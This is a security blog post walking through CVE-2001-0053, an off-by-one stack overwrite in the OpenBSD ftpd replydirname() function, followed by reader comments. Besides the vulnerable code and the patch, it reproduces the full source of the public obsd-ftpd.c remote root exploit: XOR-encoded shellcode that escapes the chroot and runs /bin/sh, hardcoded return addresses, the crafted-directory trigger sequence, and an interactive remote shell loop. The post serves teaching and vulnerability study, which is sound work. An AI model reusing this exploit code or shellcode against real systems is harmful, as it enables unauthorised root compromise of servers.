xorl %eax, %eax

CVE-2001-0053: OpenBSD FTPd Remote off-by-one Overwrite

with 14 comments

Since I didn’t find any cool public bug to write about, I’ll blog about one of the most historical remote exploits since it was the first public, remotely exploitable vulnerability in OpenBSD. So… Here is the story…
The bug was discovered by some anonymous person and it was exploited by three amazingly awesome coders… The two synnergy members dvorak and Scrippie, and jimjones!!!
Unfortunately, this unique bug was killed in a pretty bad way by some guy named Kris Vlaardingenbroek who even claimed that he discovered it, to read further details you can refer to the initial comments’ section of the original obsd-ftpd.c which is available on Synnergy Networks’ website here.
Now, let’s have a look at the vulnerability as seen in OpenBSD 2.8’s libexec/ftpd/ftpd.c file…

void
replydirname(name, message)
	const char *name, *message;
{
	char npath[MAXPATHLEN];
	int i;

	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
		npath[i] = *name;
		if (*name == '"')
			npath[++i] = '"';
	}
	npath[i] = '\0';
	reply(257, "\"%s\" %s", npath, message);
}

From the function’s name we can easily deduce that it’s used to provide a reply with the directory name. Specifically, it allocates ‘MAXPATHLEN’ bytes (which was defined as 1024) on the stack and then enters a ‘for’ loop that will iterate through each character of the passed argument ‘name’ until either ‘name’ reaches its NULL termination or the counter ‘i’ becomes equal to ‘MAXPATHLEN – 1’. Inside this loop, each character of the ‘name’ string will be copied to the stack allocated ‘npath’ array and in case of a double quote character, ‘i’ counter will be incremented once again and it’ll append that character too.
At last, the NULL termination takes place and reply() is called with code “257” which stands for ‘”PATHNAME” created.’ as we can read at RFC-959. The problem with the above code is that ‘i’ is incremented inside the loop and thus when exiting the ‘for’ loop it could contain a value equal to ‘sizeof(npath)’ since it could have been incremented twice during the last iteration. The subsequent NULL termination that uses this as an index will result in an off-by-one overflow since the NULL byte will be written beyond the bounds of ‘npath’ array.
To fix this, OpenBSD developed the following patch:

 {
+	char *p, *ep;
 	char npath[MAXPATHLEN];
-	int i;
 
-	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
-		npath[i] = *name;
-		if (*name == '"')
-			npath[++i] = '"';
+	p = npath;
+	ep = &npath[sizeof(npath) - 1];
+	while (*name) {
+		if (*name == '"' && ep - p >= 2) {
+			*p++ = *name++;
+			*p++ = '"';
+		} else if (ep - p >= 1)
+			*p++ = *name++;
+		else
+			break;
 	}
-	npath[i] = '\0';
+	*p = '\0';
 	reply(257, "\"%s\" %s", npath, message);
 }

Basically, the whole function was re-written to use a ‘while’ loop and explicitly check that there is enough space between ‘ep’ and ‘p’ to add the NULL termination byte. To reach this routine, the attacker should somehow have access to a directory of the FTP server in order to successfully request to print the working directory (PWD command from FTP’s RFC) and thus, trigger this routine which will in turn trigger the overflow if the path is 1024 bytes long and it ends with a double quote character.
Obviously, this isn’t the most trivial to remotely exploit vulnerability but dvorak, Scrippie and jimjones did it! Let’s have a look at their amazing obsd-ftpd.c…

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <limits.h>

void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);

int verbose = 0;


/*
   Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
   to get rid of dots and slashes.
*/

char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8"
"\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc"
"\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5"
"\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a"
"\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5"
"\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9"
"\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44"
"\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84"
"\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94"
"\xd9\xd3";

There aren’t many things to discuss here apart from the ‘heavenlycode’ shellcode. Since it would be useless to try to explain what it does without demonstrating its original code, here is the equivalent assembly code for it…

xor eax,eax   ; zero out EAX 
mov ecx,eax   ; set ECX to zero
add cl,0x2    ; add 2 to CL
push ecx      ; push ECX to the stack
push eax      ; push EAX to the stack
add al,0x5a   ; add 90 to AL
push eax      ; push EAX to the stack
              ; which is the syscall number and on BSD
              ; derivatives this value needs to be on the stack
int 0x80      ; interrupt the kernel to execute:
	      ; dup2(0, 2)

And the code continues like this…

jmp short 0x12          ; Jump 18 bytes ahead
pop esi                 ; pop the value of the stack
                        ; and store it in ESI
xor ecx,ecx             ; zero out ECX
mov cl,0x4a             ; move 74 to CL
xor word [esi],0xaabb   ; perform a logical XOR operation
                        ; on the word pointed by ESI with
                        ; the hardcoded value 0xAABB
inc esi                 ; increment ESI
inc esi                 ; increment ESI 
                        ; (because it XORs in two bytes on each iteration)
loop 0x7                ; loop the previous 7 bytes
                        ; which is the code from the XOR
                        ; encryption and below
jmp short 0x17          ; this jump will be executed after
                        ; the loop has been completed
call dword 0x2          ; this is a dummy call that resides in
                        ; the 18th byte and it's used to store
                        ; its location on the stack which is
                        ; popped to ESI (see above)

So, this was basically the XOR decryption that uses 0xAABB in order to have an ASCII printable shellcode. Now, the decrypted shellcode is the following:

xor eax,eax             ; zero out EAX
push eax                ; push EAX on the stack
add al,0x17             ; add 23 to AL
push eax                ; push EAX on the stack
int 0x80                ; setuid(0)

And the shellcode continues like that:

push esi                ; push ESI on the stack
xor eax,eax             ; zero out EAX
mov [esi+0x1],al        ; the next byte of ESI pointer
                        ; is zeroed out
add al,0x88             ; add 136 to AL
push eax                ; push EAX on the stack
int 0x80                ; mkdir(ESI, 0)

xor eax,eax             ; zero out EAX
push eax                ; push EAX on the stack
mov [esi+0x1f],al       ; NULL terminate the string in ESI
lea ebx,[esi+0x1e]      ; load the string to EBX
push ebx                ; push EBX on the stack
add al,0x5              ; add 5 to AL
push eax                ; push EAX on the stack
int 0x80                ; open("../../../../../../../../../..", 0)

mov ecx,eax             ; move 5 to ECX
push esi                ; push ESI (string) on the stack
xor eax,eax             ; zero out EAX
add al,0x3d             ; add 61 to AL
push eax                ; push EAX on the stack
int 0x80                ; chroot("../../../../../../../../../..")

push ecx                ; push ECX on the stack
xor eax,eax             ; zero out EAX
add al,0xe              ; add 14 to AL
dec eax                 ; decrement EAX by one
push eax                ; push EAX on the stack
int 0x80                ; fchdir(ECX)

lea ebx,[esi+0x2]       ; load EBX with the string[2] from ESI
push ebx                ; push EBX on the stack
xor eax,eax             ; zero out EAX
add al,0xc              ; add 12 to AL
push eax                ; push EAX on the stack
int 0x80                ; chdir("..")

lea ebx,[esi+0x1e]      ; load EBX with string[30] from ESI
push ebx                ; push EBX on the stack
xor eax,eax             ; zero out EAX
add al,0x3d             ; add 61 to AL
push eax                ; push EAX on the stack
int 0x80                ; chroot("../..")

xor eax,eax             ; zero out EAX
push eax                ; push EAX on the stack
mov [esi+0x27],al       ; NULL terminate string[39]
lea ebx,[esi+0x28]      ; load EBX with string[39] from ESI
push ebx                ; push EBX on the stack
lea ebx,[esi+0x20]      ; load EBX with string[32] from ESI
mov [esi+0x28],ebx      ; move EBX's value to string[40]
mov [esi+0x2c],eax      ; move EBX's value to string[44]
push ebx                ; push EBX on the stack
add al,0x3b             ; add 59 to AL
push eax                ; push EAX on the stack
int 0x80                ; execve("/bin/sh" ...)

Now that we have a basic understanding of the shellcode that will be passed to the FTP server let’s continue with the code.

char user[255] = "anonymous";
char pass[255] = "anonymous@abc.com";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;

struct typeT {
        char *name;
        unsigned long int ret_addr;
};

#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
        "OpenBSD 2.6", 0xdfbfd0ac,
        "OpenBSD 2.7", 0xdfbfd0ac};

Well, there’s nothing notable here apart from the ‘types[]’ structure which has some hardcoded addresses that will be used later as the return addresses for both OpenBSD 2.6 and 2.7 which were vulnerable to this bug. The next routine is quite simple…

void
usage(char *program)
{
        int i;
        fprintf(stderr,
                "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
                "Directory should be an absolute path, writable by the user.\n"
                "The argument of -c will be executed on the remote host\n"
                "while the argument of -C will be executed on the local\n"
                "with its filedescriptors connected to the remote host\n"
                "Valid types:\n",
                program);
        for (i = 0; i < NUM_TYPES; i++) {
                printf("%d : %s\n", i,  types[i].name);
        }
        exit(-1);
}

It’s the program’s usage routine which informs us about the various options available in the exploit. The main() function starts after this one, here is its first part…

main(int argc, char **argv)
{
        unsigned int i;
        int opt, fd;
        unsigned int type = 0;
        char *hostname = "localhost";

        if (argc < 2)
                usage(argv[0]);

        while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                switch (opt) {
                case 'h':
                        hostname = optarg;
                        break;
                case 'C':
                        command = optarg;
                        command_type = CMD_LOCAL;
                        break;
                case 'c':
                        command = optarg;
                        command_type = CMD_REMOTE;
                        break;
                case 'r':
                        ret_addr = strtoul(optarg, NULL, 0);
                        break;
                case 'v':
                        verbose++;
                        break;
                case 'f':
                        if (!(ftpport = atoi(optarg))) {
                                fprintf(stderr, "Invalid destination port - %s\
n", optarg);
                                exit(-1);
                        }
                        exit(-1);
                        break;
                case 'u':
                        strncpy(user, optarg, sizeof(user) - 1);
                        user[sizeof(user) - 1] = 0x00;
                        break;
                case 'p':
                        strncpy(pass, optarg, sizeof(pass) - 1);
                        pass[sizeof(pass) - 1] = 0x00;
                        break;
                case 'd':
                        strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                        write_dir[sizeof(write_dir) - 1] = 0x00;
                        if ((write_dir[0] != '/'))
                                usage(argv[0]);
                        if ((write_dir[strlen(write_dir) - 1] != '/'))
                                strncat(write_dir, "/", sizeof(write_dir) - 1);
                        break;
                case 't':
                        type = atoi(optarg);
                        if (type > NUM_TYPES)
                                usage(argv[0]);
                        break;
                default:
                        usage(argv[0]);
                }
        }

This is just some arguments’ parsing code using getopt(3) library routine, nothing really important to describe any further. After identifing and initializing the appropriate options, main()’s code will continue like this:

        if (ret_addr == 0)
                ret_addr = types[type].ret_addr;
        if ((fd = xconnect(hostname, ftpport)) == -1)
                exit(-1);
        else
                printf("Connected to remote host! Sending evil codes.\n");


        ftp_login(fd, user, pass);
        exploit(fd);


}

If no return address was set by the user, it will use the one of the hardcoded ones depending on the user’s selection. Then, it will invoke the xconnect() wrapper function passing the hostname and the listening port of the remote FTP server, if it successfully returned from this call, it will call ftp_login() on that socket descriptor, passing the provided (or the pre-defined) username and password. Finally, exploit() will be used on the open socket descriptor of the FTP connection.
First of all, let’s have a look at the xconnect() wrapper routine…

int
xconnect(char *host, u_short port)
{
        struct hostent *he;
        struct sockaddr_in s_in;
        int fd;

        if ((he = gethostbyname(host)) == NULL) {
                perror("gethostbyname");
                return (-1);
        }
        memset(&s_in, 0, sizeof(s_in));
        s_in.sin_family = AF_INET;
        s_in.sin_port = htons(port);
        memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

        if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                perror("socket");
                return (-1);
        }
        if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
	{
                perror("connect");
                return (-1);
        }
        return fd;
}

Probably what you’ve been expecting, it resolves the hostname using gethostbyname(3) and after initializing the socket structure, it opens up a socket using the equivalent system call and at last, it calls connect(2) to connect to the remote host. If there’s no error, it will return the file descriptor of the opened/connected socket.
Now, the ftp_login() function does the following…

/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
        char reply[512];
        int rep;
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose) {
                printf("Logging in ..\n");
                printf("%s\n", reply);
        }
        xsendftpcmd(fd, "USER", user);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);
        xsendftpcmd(fd, "PASS", password);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);

        if (reply[0] != '2') {
                printf("Login failed.\n");
                exit(-1);
        }
}

Here we have calls to numerous wrapper routines. Firstly to xrecieveall() which will receive the banner that the FTP server will send exactly after the connection takes place. ftp_login() will then use xsendftpcmd() to send the simple FTP command:

USER [username]

And then receive the FTP’s reply using xrecieveall(), the same operation is performed for the password command which is:

PASS [password]

After receiving the FTP’s reply it will check that the reply starts with ‘2’. On a successful login, FTP servers should prefix the reply with “230” according to RFC-959. This is why the above check is being placed there.
So, here is the xrecieveall() wrapper function…

void
xrecieveall(int fd, char *buf, int size)
{
        char scratch[6];

        if (buf == NULL || size == 0) {
                buf = scratch;
                size = sizeof(scratch);
        }
        memset(buf, 0, size);
        do {
                xrecieve(fd, buf, size);
        } while (buf[3] == '-');
}

Basically it will keep recieving data using xrecieve() as long as the 3rd byte of the line that it received is ‘-‘. This is done because FTP replies have the format of:

XXX-S

Where XXX is a 3 letter code consisting of numbers and the S is an variable length string. Here is the xreceive() routine as well.

/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
        char *end;
        char ch;

        end = buf + size;

        while (buf < end) {
                if (read(fd, buf, 1) != 1) {
                        perror("read"); /* XXX */
                        exit(-1);
                }
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
                if (buf[0] != '\r') {
                        buf++;
                }
        }
        buf--;
        while (read(fd, buf, 1) == 1) {
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
        }
        perror("read");         /* XXX */
        exit(-1);
}

A simple wrapper around read(2) that will NULL terminate the string received on newline character. Next, we’ll have a look at xsendftpcmd() which was used earlier and it contains the following code:

void
xsendftpcmd(int fd, char *command, char *param)
{
        xsend(fd, command);

        if (param != NULL) {
                xsend(fd, " ");
                xsend(fd, param);
        }
        xsend(fd, "\r\n");
}

It will initially just call xsend() to send the command passed to it as an argument to the given socket descriptor and if no parameters are set it will terminate/execute the command (as it’s defined in RFC-959) by sending a carriage return & newline sequence. Otherwise, it will send the parameters before terminating the command.
Here is the xsend() wrapper function too:

void
xsend(int fd, char *buf)
{

        if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                perror("send");
                exit(-1);
        }
}

As you might have been expecting, a common wrapper around send(2) system call. Finally, we can move to the exploit() function which is the most interesting one…

void exploit(int fd)
{
        char res[1024];
        int heavenlycode_s;
        char *dir = NULL;

        ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");

It will first call ftp_cmd_err() which will execute the code below.

int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
)
{
        xsendftpcmd(fd, command, param);
        xrecieveall(fd, res, size);

        if (res == NULL)
                return 0;
        if (verbose)
                printf("%s\n", res);
        if (msg && (res[0] != '2')) {
                fprintf(stderr, "%s\n", msg);
                exit(-1);
        }
        return (res[0] != '2');
}

Basically, it will attempt to send the:

CWD [write_dir]

FTP command and if this fails, it will print the “Can’t CWD to write_dir” error message and exit. This is to ensure that has access to the given directory using CWD (Change Working Directory) FTP command. Back to exploit() we have…

        dir = strcreat(dir, "A", 255 - strlen(write_dir));
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 256 */

Pointer ‘dir’ is initiallized with the return value of strcreat() which is a function that will return the string passed to it as its second argument for as many times as its third argument states. So, ‘dir’ will be in the form of:

[write_dir]["A" characters up to 255 - strlen(write_dir)]

Here is this routine that performs this operation…

char *
strcreat(char *dest, char *pattern, int repeat)
{
        char *ret;
        size_t plen, dlen = 0;
        int i;

        if (dest)
                dlen = strlen(dest);
        plen = strlen(pattern);

        ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

        if (!dest)
                ret[0] = 0x00;

        for (i = 0; i < repeat; i++) {
                strcat(ret, pattern);
        }
        return (ret);
}

And as you might have guessed, xrealloc() is a very simple wrapper which you can see here:

char *
xrealloc(void *ptr, size_t size)
{
        char *wittgenstein_was_a_drunken_swine;

        if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
{
                fprintf(stderr, "Cannot calculate universe\n");
                exit(-1);
        }
        return (wittgenstein_was_a_drunken_swine);
}

After constructing the ‘dir’ string, exploit() will call ftp_cmd_err() twice to execute the two following FTP commands:

MKD [dir]
CWD [dir]

Which will create (MKD – MaKe Directory) the ‘dir’ directory and then attempt to access it using CWD (Change Working Directory). At last, it will free the heap allocated space of ‘dir’ pointer using xfree() which is shown below.

void
xfree(char **ptr)
{
        if (!ptr || !*ptr)
                return;
        free(*ptr);
        *ptr = NULL;
}

And the exploit()’s code will move one like this…

        dir = strcreat(dir, "A", 255);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 512 */

Another directory with filename “A” x 255 is created and then the working directory is changed to this one…

        heavenlycode_s = strlen(heavenlycode);
        dir = strcreat(dir, "A", 254 - heavenlycode_s);
        dir = strcreat(dir, heavenlycode, 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 768 */

A third one is now created which contains the shellcode in its filename and the rest string is padded with “A” characters. The next directory that will be created is the following…

        dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* length = 1020 */

The next directory will be filled with the return address inserted multiple times after it has been converted to string using the longToChar() function which you can see here:

char *
longToChar(unsigned long blaat)
{
        char *ret;

        ret = (char *) xmalloc(sizeof(long) + 1);
        memcpy(ret, &blaat, sizeof(long));
        ret[sizeof(long)] = 0x00;

        return (ret);
}

A really simple code that copies an unsigned long integer passed to it as an argument to a string and stores it in heap space using xmalloc() wrapper routine which is this:

char *
xmalloc(size_t size)
{
        char *heidegger_was_a_boozy_beggar;

        if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                fprintf(stderr, "Out of cheese error\n");
                exit(-1);
        }
        return (heidegger_was_a_boozy_beggar);
}

Back to exploit() we’ve almost reached the 1024 bound limit of the stack allocated buffer in FTP daemon, here is the following code of exploit()…

        /* 1022 moet " zijn */
        dir = strcreat(dir, "AAA\"", 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);

This will create the final directory which has filename of “AAA””, notice the trailing double quote character. This will trigger the second increment of ‘i’ inside replydirname() and consequently, the off-by-one overwrite. By now, the buffer looks like this:

dir1: write_dir / lots of "A"  --> 256
dir2: 255 x "A"                --> 512
dir3: shellcode + "A" padding  --> 768
dir4: return address x 63      --> 1020
dir5: AAA“                     --> 1024

And now the exploit() code will execute this:

        /* and tell it to blow up */
        ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);

        if (!exploit_ok(fd)) {
                if (command != NULL) {
                        exit (2);
                }
                fprintf(stderr, "Exploit failed\n");
                exit (1);
        }
        if (command == NULL)
                shell(fd);
        else
                do_command(fd);
}

It will use PWD (Print Working Directory) FTP command to trigger the overflow. The NULL byte will overwrite the least significant byte (on little-endian processors) of the frame pointer (stored EBP) on the stack. When the function epilogue will take place, the stored frame pointer will be moved to the stack pointer in order to return to the previous stack frame. However, since EBP’s value is invalid because of the off-by-one overwrite, the code will jump to an invalid stack frame and when ‘ret’ instruction will attempt to pop the stored EIP from the stack it will pop an incorrect value which happens to be in the range of the 4th directory that the exploit created!
Because of this, the EIP will pop the given return address from this location on the stack and jump to it. But as you might have noticed this is the location of the shellcode which means that it will jump and execute the shellcode which in turn, it will execute its decryptor function to perform the XOR decryption on the following bytes and then execute that code! Just awesome!
If everything worked as expected, then exploit_ok() will execute the following code…

int exploit_ok(int fd)
{
        char result[1024];
        xsend(fd, "id\n");

        xrecieve(fd, result, sizeof(result));
        return (strstr(result, "uid=") != NULL);
}

The code will attempt to execute the ‘id’ command and if the reply returned something that contains “uid=” which is almost certainly returned by the ‘id’ output it assumes that the exploit succeeded. Then, if no command is specified, the exploit will spawn a shell to the remote box using the shell() function which is shown below:

void shell(int fd)
{
        fd_set readfds;
        char buf[1];
        char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";

        write(fd, tst, strlen(tst));
        while (1) {
                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(fd, &readfds);
                select(fd + 1, &readfds, NULL, NULL, NULL);
                if (FD_ISSET(0, &readfds)) {
                        if (read(0, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(fd, buf, 1);
                }
                if (FD_ISSET(fd, &readfds)) {
                        if (read(fd, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(1, buf, 1);
                }
        }
}

This is a very common select(2) based shell that will perform read and write operations on the socket’s file descriptors. On the other hand, if a command was specified, then do_command() will be used instead. Here this code too:

void do_command(int fd)
{
        char buffer[1024];
        int len;

        if (command_type == CMD_LOCAL) {
                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execl(command, command, NULL);
                exit (2);
        }
        write(fd, command, strlen(command));
        write(fd, "\n", 1);
        while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                write(1, buffer, len);
        }
        exit (0);
}

void execute_command(fd)
{
}

So, if the provided command is flagged as CMD_LOCAL, it will duplicate the socket’s file descriptors using dup2(2) system call and then perform a usual execl(2) call with the provided command. Otherwise, it will directly send the command using write(2) and read(2) system calls.

Written by xorl

January 13, 2010 at 02:12

Posted in bugs, openbsd

14 Responses

Subscribe to comments with RSS.

  1. Great Post. Thx

    bar

    January 13, 2010 at 13:04

  2. Very nice and pleasant analysis of this old bug. Maybe another on teso sshd exploit soon? ;)

    teach

    January 13, 2010 at 14:06

  3. @teach: The code of x2.c was never released as far as I know, that’s why I cannot discuss the exploitation details of this great TESO’s exploit code. :)

    xorl

    January 13, 2010 at 15:07

  4. You can always RE the binary though.

    ithilgore

    January 13, 2010 at 15:19

  5. @ithilgore: They haven’t released the source code because they didn’t want to let the world know the internals of the exploit. There would have been no difference between explaining how it works in C, assembly or whatever.
    The point is that they didn’t WANTED this to happen. I won’t do it. :)

    xorl

    January 13, 2010 at 15:28

  6. jizz… ok x and huuu… I’ll write about this one too in the near future.

    xorl

    January 14, 2010 at 19:05

  7. “When the function epilogue will take place, the stored frame pointer will be moved to the stack pointer in order to return to the previous stack frame.”

    I am a little confused by this statement. My understanding is that when the epilogue happens the ESP is not initialized with the stored EBP value. The stored frame pointer is only popped in EBP reg and does not affect the ESP contents. At least that is what i have understood by looking at disassembly of programs compiled in Linux using GCC 4.2.4. Can you please correct me if i am wrong or something elementary that i have overlooked . I am a student and would be interested in clarifying this.

    Student

    January 17, 2010 at 15:51

  8. @Student: You’re right and sorry for that mistake. However, the concept is the same since the program will jump to an invalid/controlled stack frame (because of the overwritten frame pointer) and the return address of that new function stack frame is controlled. Thanks for pointing this out.

    xorl

    January 17, 2010 at 22:29

  9. So i believe the first return (return from replydirname() ) will return correct Instruction pointer and the second return (return from the function that called replydirname() ) is what will cause the execution to jump into stack, since any effect of tampering with EBP will only effect the function in which replydirname() was called. Am i correct in my understanding ?

    Student

    January 17, 2010 at 23:04

  10. @Student: Yeap, exactly like that. Once again, my apologies to everyone for that mistake in my post and thanks for pointing it out. :)

    xorl

    January 18, 2010 at 13:11

  11. Nice write up, it has been a long while since I wrote that code.

    Wrt to x2: Unfortunately the source leaked, however we can’t put the cat back in the bag I am afraid. The leaked version is rather limited and unclean, but I am looking forward to a possible dissection.

    If you have any question feel free to drop them to me.

    Dvorak

    March 6, 2010 at 02:26

  12. @Dvorak: First of all, congrats for your excellent work and when I’m finished with the army stuff I’ll definitely contact you. :)

    xorl

    April 1, 2010 at 13:13


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s